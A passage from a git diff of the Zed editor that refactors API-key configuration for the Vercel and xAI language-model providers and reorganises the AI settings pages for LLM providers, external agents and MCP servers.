-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai%2Fapi-keys&title=Go+to+AI+Gateway",
-                    "Paste your Vercel AI Gateway API key",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url:
+                "https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai%2Fapi-keys&title=Go+to+AI+Gateway"
+                    .into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -743,7 +736,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("vercel-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .when(env_var_set, |this| {
                     this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
diff --git a/crates/language_models/src/provider/x_ai.rs b/crates/language_models/src/provider/x_ai.rs
index 1d21464c5ffbf9..92121f2e5ff442 100644
--- a/crates/language_models/src/provider/x_ai.rs
+++ b/crates/language_models/src/provider/x_ai.rs
@@ -5,11 +5,11 @@ use futures::{FutureExt, StreamExt, future::BoxFuture};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolSchemaFormat, ProviderConfigurationView, RateLimiter, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
+    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    LanguageModelToolChoice, LanguageModelToolSchemaFormat, RateLimiter, env_var,
 };
 use open_ai::ResponseStreamEvent;
 pub use settings::XaiAvailableModel as AvailableModel;
@@ -208,28 +208,19 @@ impl LanguageModelProvider for XAiLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://console.x.ai/team/default/api-keys",
-                    "xai-...",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://console.x.ai/team/default/api-keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -632,7 +623,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("xai-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .when(env_var_set, |this| {
                     this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 4d1101d7186ef5..34ee4440729a93 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -7943,7 +7943,7 @@ fn collaboration_page() -> SettingsPage {
 }
 
 fn ai_page(cx: &App) -> SettingsPage {
-    fn general_section() -> [SettingsPageItem; 3] {
+    fn general_section() -> [SettingsPageItem; 6] {
         [
             SettingsPageItem::SectionHeader("General"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -7974,24 +7974,11 @@ fn ai_page(cx: &App) -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
-        ]
-    }
-
-    fn agent_configuration_section(cx: &App) -> Box<[SettingsPageItem]> {
-        use feature_flags::FeatureFlagAppExt as _;
-
-        // The LLM provider and MCP server pages are gated behind a feature flag
-        // while their configuration is being moved out of the agent panel.
-        let agent_settings_ui_enabled = cx.has_flag::<feature_flags::AgentSettingsUiFeatureFlag>();
-
-        let mut items = vec![SettingsPageItem::SectionHeader("Agent Configuration")];
-
-        if agent_settings_ui_enabled {
-            items.push(SettingsPageItem::SubPageLink(SubPageLink {
+            SettingsPageItem::SubPageLink(SubPageLink {
                 title: "LLM Providers".into(),
                 r#type: Default::default(),
                 json_path: Some("llm_providers"),
-                description: Some("Configure API keys and settings for LLM providers.".into()),
+                description: Some("Configure natively-included model providers.".into()),
                 search_aliases: &[
                     "ai",
                     "amazon",
@@ -8021,8 +8008,52 @@ fn ai_page(cx: &App) -> SettingsPage {
                 in_json: false,
                 files: USER,
                 render: render_llm_providers_page,
-            }));
-        }
+            }),
+            SettingsPageItem::SubPageLink(SubPageLink {
+                title: "External Agents".into(),
+                r#type: Default::default(),
+                json_path: Some("agent_servers"),
+                description: Some(
+                    "View, add, and remove agents connected through the Agent Client Protocol."
+                        .into(),
+                ),
+                search_aliases: &[
+                    "acp",
+                    "agent client protocol",
+                    "amp",
+                    "claude agent",
+                    "claude code",
+                    "codex",
+                    "copilot cli",
+                    "cursor",
+                    "external agent",
+                    "factory droid",
+                    "github copilot",
+                    "grok build",
+                    "junie",
+                    "opencode",
+                ],
+                in_json: false,
+                files: USER,
+                render: render_external_agents_page,
+            }),
+            SettingsPageItem::SubPageLink(SubPageLink {
+                title: "MCP Servers".into(),
+                r#type: Default::default(),
+                json_path: Some("context_servers"),
+                description: Some(
+                    "View, add, configure, and remove Model Context Protocol servers.".into(),
+                ),
+                search_aliases: &["context server", "mcp", "model context protocol"],
+                in_json: false,
+                files: USER,
+                render: render_mcp_servers_page,
+            }),
+        ]
+    }
+
+    fn agent_configuration_section(_cx: &App) -> Box<[SettingsPageItem]> {
+        let mut items = vec![SettingsPageItem::SectionHeader("Agent Configuration")];
 
         items.extend([
             SettingsPageItem::SubPageLink(SubPageLink {
@@ -8068,49 +8099,6 @@ fn ai_page(cx: &App) -> SettingsPage {
             }),
         ]);
 
-        if agent_settings_ui_enabled {
-            items.push(SettingsPageItem::SubPageLink(SubPageLink {
-                title: "MCP Servers".into(),
-                r#type: Default::default(),
-                json_path: Some("context_servers"),
-                description: Some(
-                    "View, add, configure, and remove Model Context Protocol servers.".into(),
-                ),
-                search_aliases: &["context server", "mcp", "model context protocol"],
-                in_json: false,
-                files: USER,
-                render: render_mcp_servers_page,
-            }));
-            items.push(SettingsPageItem::SubPageLink(SubPageLink {
-                title: "External Agents".into(),
-                r#type: Default::default(),
-                json_path: Some("agent_servers"),
-                description: Some(
-                    "View, add, and remove agents connected through the Agent Client Protocol."
-                        .into(),
-                ),
-                search_aliases: &[
-                    "acp",
-                    "agent client protocol",
-                    "amp",
-                    "claude agent",
-                    "claude code",
-                    "codex",
-                    "copilot cli",
-                    "cursor",
-                    "external agent",
-                    "factory droid",
-                    "github copilot",
-                    "grok build",
-                    "junie",
-                    "opencode",
-                ],
-                in_json: false,
-                files: USER,
-                render: render_external_agents_page,
-            }));
-        }
-
         items.extend([
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Single File Review",
@@ -8467,28 +8455,6 @@ fn ai_page(cx: &App) -> SettingsPage {
         items.into_boxed_slice()
     }
 
-    fn context_servers_section() -> [SettingsPageItem; 2] {
-        [
-            SettingsPageItem::SectionHeader("Context Servers"),
-            SettingsPageItem::SettingItem(SettingItem {
-                title: "Context Server Timeout",
-                description: "Default timeout in seconds for context server tool calls. Can be overridden per-server in context_servers configuration.",
-                field: Box::new(SettingField {
-                    organization_override: None,
-                    json_path: Some("context_server_timeout"),
-                    pick: |settings_content| {
-                        settings_content.project.context_server_timeout.as_ref()
-                    },
-                    write: |settings_content, value, _| {
-                        settings_content.project.context_server_timeout = value;
-                    },
-                }),
-                metadata: None,
-                files: USER | PROJECT,
-            }),
-        ]
-    }
-
     fn edit_prediction_display_sub_section() -> [SettingsPageItem; 1] {
         [SettingsPageItem::SettingItem(SettingItem {
             title: "Display Mode",
@@ -8519,30 +8485,16 @@ fn ai_page(cx: &App) -> SettingsPage {
         })]
     }
 
-    use feature_flags::FeatureFlagAppExt as _;
-
-    // When the agent settings UI is enabled, the context server timeout is shown
-    // inside the MCP Servers sub-page. Otherwise it remains a standalone section
-    // here so it stays reachable.
-    let agent_settings_ui_enabled = cx.has_flag::<feature_flags::AgentSettingsUiFeatureFlag>();
-
-    let mut items = concat_sections!(
-        @vec,
-        general_section(),
-        agent_configuration_section(cx),
-    );
-    if !agent_settings_ui_enabled {
-        items.extend(context_servers_section());
-    }
-    items.extend(concat_sections!(
-        @vec,
-        edit_prediction_language_settings_section(),
-        edit_prediction_display_sub_section(),
-    ));
-
     SettingsPage {
         title: "AI",
-        items: items.into(),
+        items: concat_sections!(
+            @vec,
+            general_section(),
+            agent_configuration_section(cx),
+            edit_prediction_language_settings_section(),
+            edit_prediction_display_sub_section(),
+        )
+        .into(),
     }
 }
 
diff --git a/crates/settings_ui/src/pages.rs b/crates/settings_ui/src/pages.rs
index 1287f36f064f1a..407343365ea711 100644
--- a/crates/settings_ui/src/pages.rs
+++ b/crates/settings_ui/src/pages.rs
@@ -15,10 +15,14 @@ pub(crate) use audio_input_output_setup::{
 };
 pub(crate) use audio_test_window::open_audio_test_window;
 pub(crate) use edit_prediction_provider_setup::render_edit_prediction_setup_page;
-pub(crate) use external_agents_page::{CustomAgentForm, render_external_agents_page};
+pub(crate) use external_agents_page::{
+    CustomAgentForm, render_add_agent_popover, render_external_agents_page,
+};
 pub(crate) use feature_flags::render_feature_flags_page;
 pub(crate) use llm_providers_page::render_llm_providers_page;
-pub(crate) use mcp_servers_page::{McpServerForm, render_mcp_servers_page};
+pub(crate) use mcp_servers_page::{
+    McpServerForm, render_add_server_popover, render_mcp_servers_page,
+};
 pub(crate) use sandbox_settings::render_sandbox_settings_page;
 pub use skill_creator::SkillCreatorOpenMode;
 pub(crate) use skill_creator::{
diff --git a/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs b/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
index 0f7b9d512fe9da..3f756a876a862a 100644
--- a/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
+++ b/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
@@ -230,10 +230,11 @@ fn render_api_key_provider(
     };
 
     let base_container = v_flex().id(title).min_w_0().pt_8().gap_1p5();
+
     let header = SettingsSectionHeader::new(title)
         .icon(icon)
         .no_padding(true);
-    let button_link_label = format!("{} dashboard", title);
+
     let description = match docs {
         ApiKeyDocs::Custom { message } => div().min_w_0().w_full().child(
             Label::new(message)
@@ -251,7 +252,7 @@ fn render_api_key_provider(
                     .color(Color::Muted),
             )
             .child(
-                ButtonLink::new(button_link_label, dashboard_url)
+                ButtonLink::new(format!("{title} dashboard"), dashboard_url)
                     .no_icon(true)
                     .label_size(LabelSize::Small)
                     .label_color(Color::Muted),
@@ -262,6 +263,7 @@ fn render_api_key_provider(
                     .color(Color::Muted),
             ),
     };
+
     let configured_card_label = if is_from_env_var {
         "API Key Set in Environment Variable"
     } else {
@@ -270,7 +272,7 @@ fn render_api_key_provider(
 
     let container = if has_key {
         base_container.child(header).child(
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new(format!("{title}-reset-key"), configured_card_label)
                 .button_label("Reset Key")
                 .button_tab_index(0)
                 .disabled(is_from_env_var)
@@ -298,6 +300,7 @@ fn render_api_key_provider(
                         .w_full()
                         .min_w_0()
                         .max_w_1_2()
+                        .gap_0p5()
                         .child(Label::new("API Key"))
                         .child(description)
                         .when_some(env_var_name, |this, env_var_name| {
diff --git a/crates/settings_ui/src/pages/external_agents_page.rs b/crates/settings_ui/src/pages/external_agents_page.rs
index f05937680ed80b..b4b4350619dba8 100644
--- a/crates/settings_ui/src/pages/external_agents_page.rs
+++ b/crates/settings_ui/src/pages/external_agents_page.rs
@@ -14,7 +14,7 @@ use settings::{
 };
 use ui::{
     AiSettingItem, AiSettingItemSource, AiSettingItemStatus, ContextMenu, ContextMenuEntry,
-    Divider, DividerColor, PopoverMenu, Tooltip, prelude::*,
+    Divider, PopoverMenu, Tooltip, prelude::*,
 };
 use util::ResultExt as _;
 use workspace::{MultiWorkspace, Workspace, create_and_open_local_file};
@@ -25,7 +25,7 @@ use crate::SettingsWindow;
 pub(crate) fn render_external_agents_page(
     settings_window: &SettingsWindow,
     scroll_handle: &ScrollHandle,
-    window: &mut Window,
+    _window: &mut Window,
     cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
     let agent_server_store = get_agent_server_store(settings_window, cx);
@@ -41,8 +41,6 @@ pub(crate) fn render_external_agents_page(
         render_no_project_state(cx)
     };
 
-    let add_agent_popover = render_add_agent_popover(settings_window, window, cx);
-
     v_flex()
         .id("external-agents-page")
         .size_full()
@@ -51,22 +49,11 @@ pub(crate) fn render_external_agents_page(
         .pb_16()
         .track_scroll(scroll_handle)
         .overflow_y_scroll()
+        .child(Label::new("External Agents"))
         .child(
-            h_flex()
-                .w_full()
-                .justify_between()
-                .items_center()
-                .mb_4()
-                .child(
-                    v_flex()
-                        .child(Label::new("External Agents").size(LabelSize::Large))
-                        .child(
-                            Label::new("All agents connected through the Agent Client Protocol.")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
-                )
-                .child(add_agent_popover),
+            Label::new("Agents connected through the Agent Client Protocol.")
+                .size(LabelSize::Small)
+                .color(Color::Muted),
         )
         .child(agent_list)
         .into_any_element()
@@ -165,11 +152,7 @@ fn render_agent_list(agents: Vec<AgentRow>, cx: &mut Context<SettingsWindow>) ->
             agents.into_iter().map(|(id, icon, display_name, source)| {
                 render_agent(id, icon, display_name, source, cx).into_any_element()
             }),
-            || {
-                Divider::horizontal()
-                    .color(DividerColor::BorderFaded)
-                    .into_any_element()
-            },
+            || Divider::horizontal().into_any_element(),
         ))
         .into_any_element()
 }
@@ -198,22 +181,20 @@ fn render_agent(
     // Only custom agents are editable here; registry agents are managed via the
     // ACP registry and only support removal.
     let configure_button = (source == ExternalAgentSource::Custom).then(|| {
-        IconButton::new(
-            SharedString::from(format!("configure-{}", id_string)),
-            IconName::Settings,
-        )
-        .icon_color(Color::Muted)
-        .icon_size(IconSize::Small)
-        .tab_index(0isize)
-        .tooltip(Tooltip::text("Configure Agent"))
-        .on_click(cx.listener({
-            let id = id.clone();
-            move |this, _event, window, cx| {
-                let existing =
-                    custom_agent_settings(&id, cx).map(|settings| (id.clone(), settings));
-                open_custom_agent_form(this, existing, window, cx);
-            }
-        }))
+        IconButton::new(format!("configure-{}", id_string), IconName::Settings)
+            .icon_color(Color::Muted)
+            .icon_size(IconSize::Small)
+            .size(ButtonSize::Medium)
+            .tab_index(0isize)
+            .tooltip(Tooltip::text("Configure Agent"))
+            .on_click(cx.listener({
+                let id = id.clone();
+                move |this, _event, window, cx| {
+                    let existing =
+                        custom_agent_settings(&id, cx).map(|settings| (id.clone(), settings));
+                    open_custom_agent_form(this, existing, window, cx);
+                }
+            }))
     });
 
     let remove_tooltip = match source {
@@ -221,17 +202,15 @@ fn render_agent(
         ExternalAgentSource::Custom => "Remove Custom Agent",
     };
 
-    let remove_button = IconButton::new(
-        SharedString::from(format!("uninstall-{}", id_string)),
-        IconName::Trash,
-    )
-    .icon_color(Color::Muted)
-    .icon_size(IconSize::Small)
-    .tab_index(0isize)
-    .tooltip(Tooltip::text(remove_tooltip))
-    .on_click(move |_event, _window, cx| {
-        remove_agent(&id, source, cx);
-    });
+    let remove_button = IconButton::new(format!("uninstall-{}", id_string), IconName::Trash)
+        .icon_color(Color::Muted)
+        .icon_size(IconSize::Small)
+        .size(ButtonSize::Medium)
+        .tab_index(0isize)
+        .tooltip(Tooltip::text(remove_tooltip))
+        .on_click(move |_event, _window, cx| {
+            remove_agent(&id, source, cx);
+        });
 
     // The connection status of an external agent is tracked per agent-panel
     // session (via the agent panel's `AgentConnectionStore`), which isn't
@@ -273,7 +252,7 @@ fn remove_agent(id: &AgentId, source: ExternalAgentSource, cx: &mut App) {
     });
 }
 
-fn render_add_agent_popover(
+pub(crate) fn render_add_agent_popover(
     settings_window: &SettingsWindow,
     window: &mut Window,
     cx: &mut Context<SettingsWindow>,
diff --git a/crates/settings_ui/src/pages/llm_providers_page.rs b/crates/settings_ui/src/pages/llm_providers_page.rs
index d663dbe7d947c3..cb0b0a95b994a0 100644
--- a/crates/settings_ui/src/pages/llm_providers_page.rs
+++ b/crates/settings_ui/src/pages/llm_providers_page.rs
@@ -1,13 +1,15 @@
 use std::sync::Arc;
 
-use gpui::{ScrollHandle, prelude::*};
+use gpui::{AnyView, ScrollHandle, prelude::*};
 use language_model::{
-    ConfigurationViewTargetAgent, IconOrSvg, LanguageModelProvider, LanguageModelProviderId,
-    LanguageModelRegistry, ProviderConfigurationView,
+    ApiKeyConfiguration, ConfigurationViewTargetAgent, IconOrSvg, InlineDescription,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry,
+    ProviderConfigurationView,
 };
-use ui::{Divider, DividerColor, prelude::*};
+use ui::{ButtonLink, ConfiguredApiCard, Divider, DividerColor, prelude::*};
 
 use crate::SettingsWindow;
+use crate::components::SettingsInputField;
 
 pub(crate) fn render_llm_providers_page(
     settings_window: &SettingsWindow,
@@ -20,7 +22,6 @@ pub(crate) fn render_llm_providers_page(
     v_flex()
         .id("llm-providers-page")
         .size_full()
-        .pt_2p5()
         .px_8()
         .pb_16()
         .track_scroll(scroll_handle)
@@ -28,94 +29,272 @@ pub(crate) fn render_llm_providers_page(
         .children(
             providers
                 .iter()
-                .map(|provider| render_provider_row(settings_window, provider, window, cx))
+                .enumerate()
+                .map(|(index, provider)| {
+                    render_provider_section(settings_window, provider, index == 0, window, cx)
+                })
                 .collect::<Vec<_>>(),
         )
         .into_any_element()
 }
 
-fn render_provider_row(
+fn render_provider_section(
     settings_window: &SettingsWindow,
     provider: &Arc<dyn LanguageModelProvider>,
+    is_first: bool,
     window: &mut Window,
     cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
     let provider_id = provider.id();
     let provider_name = provider.name().0;
-    let is_authenticated = provider.is_authenticated(cx);
 
-    let icon = match provider.icon() {
+    let body = if let Some(config) = provider.api_key_configuration(cx) {
+        render_api_key_providers_item(provider, provider_name.clone(), config)
+    } else {
+        match get_or_create_configuration_view(settings_window, &provider_id, provider, window, cx)
+        {
+            ProviderConfigurationView::Inline { view } => render_inline_body(provider, view, cx),
+            ProviderConfigurationView::SubPage(_) => render_subpage_item(provider, cx),
+        }
+    };
+
+    v_flex()
+        .min_w_0()
+        .map(|s| if is_first { s.pt_4() } else { s.pt_8() })
+        .gap_1p5()
+        .child(render_provider_header(provider_name, provider.icon(), cx))
+        .child(body)
+        .into_any_element()
+}
+
+/// An icon + name header with a faded divider, mirroring `SettingsSectionHeader`
+/// but able to render providers' external SVG icons.
+fn render_provider_header(
+    provider_name: SharedString,
+    icon: IconOrSvg,
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    let icon = match icon {
         IconOrSvg::Svg(path) => Icon::from_external_svg(path),
         IconOrSvg::Icon(name) => Icon::new(name),
     }
-    .size(IconSize::Small)
     .color(Color::Muted);
 
-    let left = h_flex()
-        .flex_none()
+    v_flex()
+        .w_full()
         .gap_1p5()
-        .child(icon)
-        .child(Label::new(provider_name))
-        .when(is_authenticated, |this| {
-            this.child(
-                Icon::new(IconName::Check)
-                    .size(IconSize::Small)
-                    .color(Color::Success),
-            )
-        });
+        .child(
+            h_flex().gap_1p5().child(icon).child(
+                Label::new(provider_name)
+                    .size(LabelSize::Small)
+                    .color(Color::Muted)
+                    .buffer_font(cx),
+            ),
+        )
+        .child(Divider::horizontal().color(DividerColor::BorderFaded))
+}
 
-    // The provider tells us how it wants to be presented: a compact inline
-    // control, or a richer view that belongs on its own sub-page.
-    let control =
-        match get_or_create_configuration_view(settings_window, &provider_id, provider, window, cx)
-        {
-            ProviderConfigurationView::Inline(view) => v_flex()
-                .min_w_0()
-                .w_full()
-                .max_w(rems(24.))
-                .child(view)
-                .into_any_element(),
-            ProviderConfigurationView::SubPage(_) => render_configure_button(&provider_id, cx),
+fn render_api_key_providers_item(
+    provider: &Arc<dyn LanguageModelProvider>,
+    provider_name: SharedString,
+    config: ApiKeyConfiguration,
+) -> AnyElement {
+    let ApiKeyConfiguration {
+        has_key,
+        is_from_env_var,
+        env_var_name,
+        api_key_url,
+    } = config;
+
+    if has_key {
+        let configured_label = if is_from_env_var {
+            "API Key Set in Environment Variable"
+        } else {
+            "API Key Configured"
         };
+        let button_id = format!("reset-api-key-{}", provider.id().0);
+        let provider = provider.clone();
+        let env_var_name_for_tooltip = env_var_name;
 
-    v_flex()
-        .min_w_0()
+        return ConfiguredApiCard::new(button_id, configured_label)
+            .button_label("Reset Key")
+            .button_tab_index(0)
+            .disabled(is_from_env_var)
+            .when(is_from_env_var, |this| {
+                this.tooltip_label(format!(
+                    "To reset your API key, unset the {env_var_name_for_tooltip} environment variable."
+                ))
+            })
+            .on_click(move |_, _, cx| {
+                provider.reset_credentials(cx).detach_and_log_err(cx);
+            })
+            .into_any_element();
+    }
+
+    let input_id = format!("{}-api-key-input", provider.id().0);
+    let aria_label = format!("{provider_name} API Key");
+    let provider = provider.clone();
+
+    h_flex()
+        .pt_2p5()
         .w_full()
+        .min_w_0()
+        .gap_4()
+        .justify_between()
+        .child(
+            v_flex()
+                .w_full()
+                .min_w_0()
+                .max_w_1_2()
+                .gap_0p5()
+                .child(Label::new("API Key"))
+                .child(
+                    h_flex()
+                        .w_full()
+                        .min_w_0()
+                        .flex_wrap()
+                        .gap_0p5()
+                        .child(
+                            Label::new("Visit the")
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        )
+                        .child(
+                            ButtonLink::new(format!("{provider_name} dashboard"), api_key_url)
+                                .no_icon(true)
+                                .label_size(LabelSize::Small)
+                                .label_color(Color::Muted),
+                        )
+                        .child(
+                            Label::new("to generate an API key.")
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        ),
+                )
+                .child(
+                    Label::new(format!(
+                        "Or set the {env_var_name} env var and restart Zed for it to take effect."
+                    ))
+                    .size(LabelSize::XSmall)
+                    .color(Color::Muted),
+                ),
+        )
         .child(
-            div()
-                .px_2()
-                .child(Divider::horizontal().color(DividerColor::BorderFaded)),
+            SettingsInputField::new(input_id)
+                .tab_index(0)
+                .with_placeholder("xxxxxxxxxxxxxxxxxxxx")
+                .aria_label(aria_label)
+                .on_confirm(move |api_key, _window, cx| {
+                    if let Some(key) = api_key.filter(|key| !key.is_empty()) {
+                        provider.set_api_key(key, cx).detach_and_log_err(cx);
+                    }
+                }),
         )
+        .into_any_element()
+}
+
+fn render_inline_body(
+    provider: &Arc<dyn LanguageModelProvider>,
+    view: AnyView,
+    cx: &mut Context<SettingsWindow>,
+) -> AnyElement {
+    let provider_name = provider.name().0;
+    let title = provider.inline_title(cx);
+    let description = provider.inline_description(cx);
+
+    if title.is_none() && description.is_none() {
+        return v_flex()
+            .pt_1()
+            .w_full()
+            .min_w_0()
+            .child(view)
+            .into_any_element();
+    }
+
+    h_flex()
+        .pt_2p5()
+        .w_full()
+        .min_w_0()
+        .gap_4()
+        .justify_between()
         .child(
-            h_flex()
+            v_flex()
                 .w_full()
-                .py_2()
-                .px_2()
-                .gap_6()
-                .justify_between()
-                .items_start()
-                .child(left)
-                .child(control),
+                .min_w_0()
+                .max_w_1_2()
+                .when_some(title, |this, title| this.child(Label::new(title)))
+                .when_some(description, |this, description| {
+                    this.child(render_inline_description(provider_name, description))
+                }),
         )
+        .child(h_flex().flex_none().child(view))
         .into_any_element()
 }
 
-fn render_configure_button(
-    provider_id: &LanguageModelProviderId,
+fn render_subpage_item(
+    provider: &Arc<dyn LanguageModelProvider>,
     cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
-    let provider_id = provider_id.clone();
-    Button::new(
-        SharedString::from(format!("configure-{}", provider_id.0)),
-        "Configure",
-    )
-    .style(ButtonStyle::Outlined)
-    .label_size(LabelSize::Small)
-    .tab_index(0isize)
-    .on_click(cx.listener(move |this, _, window, cx| {
-        open_provider_configuration(this, provider_id.clone(), window, cx);
-    }))
-    .into_any_element()
+    let provider_id = provider.id();
+    let provider_name = provider.name().0;
+    let description = provider.inline_description(cx);
+
+    h_flex()
+        .pt_2p5()
+        .w_full()
+        .min_w_0()
+        .gap_4()
+        .justify_between()
+        .child(
+            v_flex()
+                .w_full()
+                .min_w_0()
+                .max_w_1_2()
+                .gap_0p5()
+                .child(Label::new("Configure Provider"))
+                .when_some(description, |this, description| {
+                    this.child(render_inline_description(provider_name, description))
+                }),
+        )
+        .child(
+            Button::new(format!("configure-{}", provider_id.0), "Configure")
+                .style(ButtonStyle::OutlinedGhost)
+                .size(ButtonSize::Medium)
+                .end_icon(
+                    Icon::new(IconName::ChevronRight)
+                        .size(IconSize::Small)
+                        .color(Color::Muted),
+                )
+                .tab_index(0isize)
+                .on_click(cx.listener(move |this, _, window, cx| {
+                    open_provider_configuration(this, provider_id.clone(), window, cx);
+                })),
+        )
+        .into_any_element()
+}
+
+fn render_inline_description(
+    provider_name: SharedString,
+    description: InlineDescription,
+) -> AnyElement {
+    match description {
+        InlineDescription::ApiKeyUrl(url) => h_flex()
+            .gap_0p5()
+            .child(
+                Label::new("To find an API key, visit the")
+                    .size(LabelSize::Small)
+                    .color(Color::Muted),
+            )
+            .child(
+                ButtonLink::new(format!("{provider_name} dashboard."), url)
+                    .label_size(LabelSize::Small),
+            )
+            .into_any_element(),
+        InlineDescription::Text(text) => Label::new(text)
+            .size(LabelSize::Small)
+            .color(Color::Muted)
+            .into_any_element(),
+    }
 }
 
 fn open_provider_configuration(
@@ -164,7 +343,8 @@ fn render_provider_config_sub_page(
         window,
         cx,
     ) {
-        ProviderConfigurationView::Inline(view) | ProviderConfigurationView::SubPage(view) => view,
+        ProviderConfigurationView::Inline { view, .. }
+        | ProviderConfigurationView::SubPage(view) => view,
     };
 
     v_flex()
diff --git a/crates/settings_ui/src/pages/mcp_servers_page.rs b/crates/settings_ui/src/pages/mcp_servers_page.rs
index bebf1e795ce0ac..f06e6b33beebeb 100644
--- a/crates/settings_ui/src/pages/mcp_servers_page.rs
+++ b/crates/settings_ui/src/pages/mcp_servers_page.rs
@@ -11,8 +11,8 @@ use project::context_server_store::{
 use project::project_settings::ContextServerSettings;
 use settings::{ContextServerCommand, ContextServerSettingsContent, OAuthClientSettings};
 use ui::{
-    AiSettingItem, AiSettingItemSource, AiSettingItemStatus, ContextMenu, Divider, DividerColor,
-    PopoverMenu, Switch, ToggleState, Tooltip, prelude::*,
+    AiSettingItem, AiSettingItemSource, AiSettingItemStatus, ContextMenu, Divider, PopoverMenu,
+    Switch, ToggleState, Tooltip, prelude::*,
 };
 use util::ResultExt as _;
 
@@ -41,34 +41,29 @@ pub(crate) fn render_mcp_servers_page(
     };
 
     let timeout_setting = render_context_server_timeout(settings_window, window, cx);
-    let add_server_popover = render_add_server_popover(settings_window, window, cx);
 
     v_flex()
         .id("mcp-servers-page")
+        .track_scroll(scroll_handle)
         .size_full()
         .pt_2p5()
         .pb_16()
-        .track_scroll(scroll_handle)
         .overflow_y_scroll()
         .child(
-            h_flex()
+            v_flex()
                 .w_full()
                 .px_8()
-                .justify_between()
-                .items_center()
-                .mb_4()
+                .gap_2()
                 .child(
-                    v_flex()
-                        .child(Label::new("MCP Servers").size(LabelSize::Large))
-                        .child(
-                            Label::new("Manage Model Context Protocol servers connected directly or via extensions.")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
+                    v_flex().child(Label::new("Configured Servers")).child(
+                        Label::new("Manage servers connected directly or via extensions.")
+                            .size(LabelSize::Small)
+                            .color(Color::Muted),
+                    ),
                 )
-                .child(add_server_popover),
+                .child(server_list)
+                .child(Divider::horizontal()),
         )
-        .child(div().px_8().child(server_list))
         .child(timeout_setting)
         .into_any_element()
 }
@@ -151,11 +146,7 @@ fn render_server_list(
             server_ids
                 .iter()
